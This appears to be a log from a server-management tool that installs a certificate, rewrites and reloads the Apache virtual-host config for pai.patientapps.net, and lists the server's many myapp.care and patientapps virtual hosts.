4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:03:47: 

chmod 755 /tmp/pkp655643; /tmp/pkp655643; rm /tmp/pkp655643

2025-08-30 06:03:47: 


dir=/etc/ssl/certs


2025-08-30 06:03:47: 

PUT: /tmp/pkp156560

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:03:47: 

chmod 755 /tmp/pkp156560; /tmp/pkp156560; rm /tmp/pkp156560

2025-08-30 06:03:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-08-30 06:03:47: 

PUT: /tmp/pkp148464

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi


2025-08-30 06:03:47: 

chmod 755 /tmp/pkp148464; /tmp/pkp148464; rm /tmp/pkp148464

2025-08-30 06:03:47: 




2025-08-30 06:03:47: 

PUT: /tmp/pkp195112

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:03:47: 

chmod 755 /tmp/pkp195112; /tmp/pkp195112; rm /tmp/pkp195112

2025-08-30 06:03:47: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:03:47: Establishing a connection
2025-08-30 06:03:47: 

PUT: /tmp/pkp683521

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:03:47: 

chmod 755 /tmp/pkp683521; /tmp/pkp683521; rm /tmp/pkp683521

2025-08-30 06:03:47: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
